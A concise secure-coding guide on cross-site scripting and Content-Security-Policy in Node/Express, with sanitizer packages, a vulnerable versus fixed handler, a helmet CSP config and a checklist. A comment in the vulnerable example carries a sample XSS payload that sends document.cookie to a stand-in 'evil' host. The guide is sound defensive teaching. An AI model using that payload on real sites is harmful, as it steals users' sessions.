XSS (Cross-Site Scripting) and CSP

XSS runs an attacker's JavaScript in another user's browser, where it can steal sessions, act as that user, or change the page.

Types

  • Stored: a script saved in the DB (comment, profile name) runs for every viewer
  • Reflected: a script in the URL is echoed back in the response
  • DOM-based: frontend JS writes untrusted data into innerHTML

Packages

PackageUse
helmetSets a Content-Security-Policy header (and others)
dompurify + jsdom / isomorphic-dompurifySanitize HTML when you must allow rich text
sanitize-htmlAllowlist-based HTML sanitizer
escape-htmlEscape strings for HTML

❌ Vulnerable

app.get('/search', (req, res) => {
  res.send(`<h1>Results for ${req.query.q}</h1>`); // q=<script>fetch('//evil?c='+document.cookie)</script>
});

✅ Secure

const escapeHtml = require('escape-html');
res.send(`<h1>Results for ${escapeHtml(req.query.q)}</h1>`);

// Rich text (blog posts, comments with formatting)
const DOMPurify = require('isomorphic-dompurify');
const clean = DOMPurify.sanitize(userHtml, { ALLOWED_TAGS: ['b', 'i', 'a', 'p'] });

Template engines (EJS <%= %>, Handlebars {{ }}, React JSX) escape by default. The danger is the escape hatches: <%- %>, {{{ }}}, dangerouslySetInnerHTML, innerHTML.

CSP: the second layer

Even if XSS slips through, CSP stops inline or foreign scripts from running.

const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],          // no inline scripts, no eval
    objectSrc: ["'none'"],
    frameAncestors: ["'none'"],     // also stops clickjacking
  },
}));

Checklist

  • Escape output for its context (HTML, attribute, JS, URL)
  • Sanitize with an allowlist if rich HTML is needed
  • CSP without 'unsafe-inline' / 'unsafe-eval'
  • Session cookies are HttpOnly (JS can't read them)
  • JSON APIs send Content-Type: application/json